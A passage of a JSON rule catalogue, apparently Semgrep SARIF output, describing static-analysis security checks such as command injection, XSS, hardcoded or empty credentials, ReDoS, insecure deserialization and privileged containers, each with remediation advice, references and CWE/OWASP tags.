checked."},"help":{"markdown":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createspan?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createspan?view=net-6.0)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createreadonlyspan?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createreadonlyspan?view=net-6.0)\n","text":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","id":"csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","name":"csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag)."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n - [https://www.youtube.com/watch?v=yYTkLUEdIyE](https://www.youtube.com/watch?v=yYTkLUEdIyE)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag)."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","id":"ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","name":"ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy)\n - [https://docs.cherrypy.dev/en/latest/tutorials.html](https://docs.cherrypy.dev/en/latest/tutorials.html)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","id":"python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","name":"python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information."},"help":{"markdown":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled)\n - [https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance)\n - [https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx)\n","text":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","id":"csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","name":"csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","properties":{"precision":"very-high","tags":["CWE-1323: Improper Management of Sensitive Trace Data","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Heroku API Key detected"},"help":{"markdown":"Heroku API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Heroku API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","id":"generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","name":"generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"help":{"markdown":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-html-response.tainted-html-response","id":"python.aws-lambda.security.tainted-html-response.tainted-html-response","name":"python.aws-lambda.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","id":"kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","name":"kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","id":"kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","name":"kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.vm2-express.vm2-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.vm2-express.vm2-express","id":"javascript.express.code.vm2-express.vm2-express","name":"javascript.express.code.vm2-express.vm2-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.vm2-express.vm2-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack"},"help":{"markdown":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions#regular-expression-examples](https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions#regular-expression-examples)\n","text":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","id":"csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","name":"csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`."},"help":{"markdown":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt)\n - [https://cryptography.io/en/latest/random-numbers/#random-number-generation](https://cryptography.io/en/latest/random-numbers/#random-number-generation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`."},"helpUri":"https://semgrep.dev/r/python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","id":"python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","name":"python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"help":{"markdown":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.privileged-service.privileged-service)\n - [https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html](https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html)\n - [https://containerjournal.com/topics/container-security/why-running-a-privileged-container-is-not-a-good-idea/](https://containerjournal.com/topics/container-security/why-running-a-privileged-container-is-not-a-good-idea/)\n","text":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.privileged-service.privileged-service","id":"yaml.docker-compose.security.privileged-service.privileged-service","name":"yaml.docker-compose.security.privileged-service.privileged-service","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.privileged-service.privileged-service"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-samesite-none.django-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","id":"python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","name":"python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-samesite-none.django-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","id":"kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","name":"kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"help":{"markdown":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.insecure-object-assign.insecure-object-assign)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n - [https://en.wikipedia.org/wiki/Mass_assignment_vulnerability](https://en.wikipedia.org/wiki/Mass_assignment_vulnerability)\n","text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.insecure-object-assign.insecure-object-assign","id":"javascript.lang.security.insecure-object-assign.insecure-object-assign","name":"javascript.lang.security.insecure-object-assign.insecure-object-assign","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.insecure-object-assign.insecure-object-assign"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","id":"python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","name":"python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block."},"help":{"markdown":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#default_action](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#default_action)\n - 